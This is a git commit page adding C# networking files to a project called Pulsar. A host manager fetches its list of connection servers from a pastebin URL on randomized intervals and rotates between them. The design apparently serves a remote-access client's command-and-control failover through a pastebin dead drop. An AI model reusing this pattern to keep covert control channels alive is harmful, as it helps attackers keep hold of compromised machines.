initial commit
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run

This commit is contained in:
i2p
2026-08-27 10:57:58 -06:00
commit 773d05f8f1
1038 changed files with 109261 additions and 0 deletions
BIN
View File
Binary file not shown.
+33
View File
@@ -0,0 +1,33 @@
using System.Net;
namespace Pulsar.Common.DNS
{
public class Host
{
/// <summary>
/// Stores the hostname of the Host.
/// </summary>
/// <remarks>
/// Can be an IPv4, IPv6 address or hostname.
/// </remarks>
public string Hostname { get; set; }
/// <summary>
/// Stores the IP address of host.
/// </summary>
/// <remarks>
/// Can be an IPv4 or IPv6 address.
/// </remarks>
public IPAddress IpAddress { get; set; }
/// <summary>
/// Stores the port of the Host.
/// </summary>
public ushort Port { get; set; }
public override string ToString()
{
return Hostname + ":" + Port;
}
}
}
+66
View File
@@ -0,0 +1,66 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Pulsar.Common.DNS
{
public class HostsConverter
{
public List<Host> RawHostsToList(string rawHosts, bool server = false)
{
List<Host> hostsList = new List<Host>();
if (string.IsNullOrEmpty(rawHosts)) return hostsList;
if ((rawHosts.StartsWith("http://", StringComparison.OrdinalIgnoreCase) ||
rawHosts.StartsWith("https://", StringComparison.OrdinalIgnoreCase)) &&
!rawHosts.Contains(";"))
{
hostsList.Add(new Host { Hostname = rawHosts });
return hostsList;
}
var hosts = rawHosts.Split(';');
foreach (var host in hosts)
{
if (string.IsNullOrEmpty(host)) continue;
if (Uri.TryCreate(host, UriKind.Absolute, out Uri uri) &&
(uri.Scheme == Uri.UriSchemeHttp || uri.Scheme == Uri.UriSchemeHttps))
{
hostsList.Add(new Host { Hostname = host });
}
else if (host.Contains(':'))
{
if (ushort.TryParse(host.Split(':').Last(), out ushort port))
{
hostsList.Add(new Host
{
Hostname = host.Substring(0, host.LastIndexOf(':')),
Port = port
});
}
}
else
{
hostsList.Add(new Host { Hostname = host });
}
}
return hostsList;
}
public string ListToRawHosts(IList<Host> hosts)
{
StringBuilder rawHosts = new StringBuilder();
foreach (var host in hosts)
rawHosts.Append(host + ";");
return rawHosts.ToString();
}
}
}
+282
View File
@@ -0,0 +1,282 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Security.Cryptography;
using System.Text;
namespace Pulsar.Common.DNS
{
public class HostsManager
{
public bool IsEmpty => _hosts.Count == 0;
private readonly Queue<Host> _hosts = new Queue<Host>();
private Host _lastResolvedHost;
private readonly PastebinFetcher _pastebinFetcher;
private readonly HostsConverter _hostsConverter = new HostsConverter();
private readonly bool _isPastebinMode;
private DateTime _lastSuccessfulConnection = DateTime.MinValue;
private DateTime _lastPastebinCheck = DateTime.MinValue;
//private readonly TimeSpan _connectionFailureThreshold = TimeSpan.FromHours(1);
//private readonly TimeSpan _pastebinCheckInterval = TimeSpan.FromHours(1);
private readonly TimeSpan _connectionFailureThreshold = TimeSpan.FromMinutes(30);
private readonly TimeSpan _pastebinCheckInterval = TimeSpan.FromHours(1);
private bool _pastebinReachable = true;
private DateTime _lastPastebinFailure = DateTime.MinValue;
private readonly TimeSpan _scheduledRefreshWindowMin = TimeSpan.FromHours(2);
private readonly TimeSpan _scheduledRefreshWindowMax = TimeSpan.FromHours(3);
private readonly Random _refreshRandom = new Random(unchecked(Environment.TickCount * 397 ^ Guid.NewGuid().GetHashCode()));
private readonly object _refreshRandomLock = new object();
private DateTime _nextScheduledPastebinRefresh = DateTime.MinValue;
private string _lastPastebinContentHash;
public HostsManager(List<Host> hosts)
{
foreach (var host in hosts)
_hosts.Enqueue(host);
_isPastebinMode = false;
_lastSuccessfulConnection = DateTime.Now;
}
public HostsManager(string pastebinUrl)
{
_isPastebinMode = true;
_pastebinFetcher = new PastebinFetcher(pastebinUrl);
_lastSuccessfulConnection = DateTime.Now;
RefreshHostsFromPastebin(forceRefresh: true);
ScheduleNextPastebinRefresh();
}
private bool RefreshHostsFromPastebin(bool forceRefresh = false)
{
if (!_isPastebinMode || _pastebinFetcher == null)
return false;
try
{
string content = _pastebinFetcher.FetchContent(forceRefresh);
_lastPastebinCheck = DateTime.Now;
if (string.IsNullOrWhiteSpace(content))
{
_pastebinReachable = false;
_lastPastebinFailure = DateTime.Now;
Debug.WriteLine("Failed to get content from pastebin (empty response)");
return false;
}
var hosts = _hostsConverter.RawHostsToList(content);
string newHash = ComputeContentHash(content);
bool hasChanged = _lastPastebinContentHash == null || !_lastPastebinContentHash.Equals(newHash, StringComparison.Ordinal);
if (hasChanged || _hosts.Count == 0)
{
_hosts.Clear();
foreach (var host in hosts)
_hosts.Enqueue(host);
_lastResolvedHost = null;
_lastPastebinContentHash = newHash;
Debug.WriteLine($"Successfully refreshed {hosts.Count} hosts from pastebin. Connection failure duration: {DateTime.Now - _lastSuccessfulConnection}");
}
else
{
Debug.WriteLine("Pastebin content unchanged; keeping existing hosts.");
}
_pastebinReachable = true;
return hasChanged;
}
catch (Exception ex)
{
_pastebinReachable = false;
_lastPastebinFailure = DateTime.Now;
Debug.WriteLine($"Failed to refresh hosts from pastebin: {ex.Message}");
return false;
}
}
public Host GetNextHost()
{
if (_isPastebinMode)
{
if (_nextScheduledPastebinRefresh == DateTime.MinValue)
{
ScheduleNextPastebinRefresh();
}
if (DateTime.Now >= _nextScheduledPastebinRefresh)
{
Debug.WriteLine("Scheduled pastebin refresh triggered.");
RefreshHostsFromPastebin(forceRefresh: true);
ScheduleNextPastebinRefresh();
}
bool shouldRefreshFromPastebin = false;
bool forceRefresh = false;
if (_hosts.Count == 0 && DateTime.Now - _lastPastebinCheck >= TimeSpan.FromMinutes(1))
{
Debug.WriteLine("No hosts available, refreshing from pastebin.");
shouldRefreshFromPastebin = true;
forceRefresh = true;
}
else if (_hosts.Count > 0 && DateTime.Now - _lastSuccessfulConnection > _connectionFailureThreshold)
{
Debug.WriteLine($"No successful connection for over {_connectionFailureThreshold.TotalMinutes} minutes, checking pastebin for updates.");
if (DateTime.Now - _lastPastebinCheck >= _pastebinCheckInterval)
{
Debug.WriteLine($"Checking pastebin for updates after {_pastebinCheckInterval.TotalMinutes} minutes.");
shouldRefreshFromPastebin = true;
}
}
else if (_hosts.Count > 0 && DateTime.Now - _lastSuccessfulConnection <= _connectionFailureThreshold && _pastebinFetcher.ShouldRefresh)
{
Debug.WriteLine("Frequent refresh from pastebin due to high request count or error.");
shouldRefreshFromPastebin = true;
}
if (shouldRefreshFromPastebin)
{
Debug.WriteLine("Refreshing hosts from pastebin due to conditions met.");
RefreshHostsFromPastebin(forceRefresh);
ScheduleNextPastebinRefresh();
}
if (_hosts.Count == 0)
return null;
}
var temp = _hosts.Dequeue();
_hosts.Enqueue(temp);
temp.IpAddress = ResolveHostname(temp);
if (temp.IpAddress == null && _lastResolvedHost != null)
{
temp = _lastResolvedHost;
}
else
{
_lastResolvedHost = temp;
}
return temp;
}
/// <summary>
/// Notifies the hosts manager that a successful connection was established.
/// This resets the connection failure tracking.
/// </summary>
public void NotifySuccessfulConnection()
{
_lastSuccessfulConnection = DateTime.Now;
}
/// <summary>
/// Gets whether pastebin is currently reachable and how long to wait before next attempt.
/// </summary>
/// <returns>A tuple indicating if pastebin is reachable and suggested wait time in milliseconds.</returns>
public (bool IsReachable, int SuggestedWaitTimeMs) GetPastebinStatus()
{
if (!_isPastebinMode)
return (true, 0);
if (_pastebinReachable)
{
return (true, 0);
}
var timeSinceFailure = DateTime.Now - _lastPastebinFailure;
if (timeSinceFailure < TimeSpan.FromMinutes(5))
{
return (false, 300000);
}
else if (timeSinceFailure < TimeSpan.FromMinutes(15))
{
return (false, 600000);
}
else
{
return (false, 1800000);
}
}
private void ScheduleNextPastebinRefresh()
{
if (!_isPastebinMode)
{
_nextScheduledPastebinRefresh = DateTime.MaxValue;
return;
}
TimeSpan interval = GetRandomRefreshInterval();
_nextScheduledPastebinRefresh = DateTime.Now.Add(interval);
Debug.WriteLine($"Next pastebin refresh scheduled in {interval.TotalMinutes:F1} minutes (target {_nextScheduledPastebinRefresh}).");
}
private TimeSpan GetRandomRefreshInterval()
{
double minMs = _scheduledRefreshWindowMin.TotalMilliseconds;
double maxMs = _scheduledRefreshWindowMax.TotalMilliseconds;
if (maxMs <= minMs)
{
return TimeSpan.FromMilliseconds(minMs);
}
lock (_refreshRandomLock)
{
double offset = _refreshRandom.NextDouble() * (maxMs - minMs);
return TimeSpan.FromMilliseconds(minMs + offset);
}
}
private static string ComputeContentHash(string content)
{
using (var sha256 = SHA256.Create())
{
byte[] bytes = sha256.ComputeHash(Encoding.UTF8.GetBytes(content));
return BitConverter.ToString(bytes).Replace("-", string.Empty);
}
}
private static IPAddress ResolveHostname(Host host)
{
if (string.IsNullOrEmpty(host.Hostname)) return null;
if (IPAddress.TryParse(host.Hostname, out IPAddress ip))
{
if (ip.AddressFamily == AddressFamily.InterNetworkV6 && !Socket.OSSupportsIPv6)
return null;
return ip;
}
try
{
var ipAddresses = Dns.GetHostEntry(host.Hostname).AddressList;
foreach (IPAddress ipAddress in ipAddresses)
{
switch (ipAddress.AddressFamily)
{
case AddressFamily.InterNetwork:
return ipAddress;
case AddressFamily.InterNetworkV6:
if (ipAddresses.Length == 1)
return ipAddress;
break;
}
}
}
catch (Exception)
{
return null;
}
return null;
}
}
}
+45
View File
@@ -0,0 +1,45 @@
using System;
using System.Net;
namespace Pulsar.Common.DNS
{
/// <summary>
/// WebClient with timeout capability
/// </summary>
internal class TimeoutWebClient : WebClient
{
private readonly int _timeout;
public TimeoutWebClient(int timeout)
{
_timeout = timeout;
this.Proxy = null;
}
protected override WebRequest GetWebRequest(Uri address)
{
WebRequest request = base.GetWebRequest(address);
if (request != null)
{
request.Timeout = _timeout;
}
return request;
}
}
/// <summary>
/// Extension methods for WebClient
/// </summary>
internal static class WebClientExtensions
{
/// <summary>
/// Creates a WebClient with the specified timeout in milliseconds
/// </summary>
public static WebClient WithTimeout(int timeout)
{
return new TimeoutWebClient(timeout);
}
}
}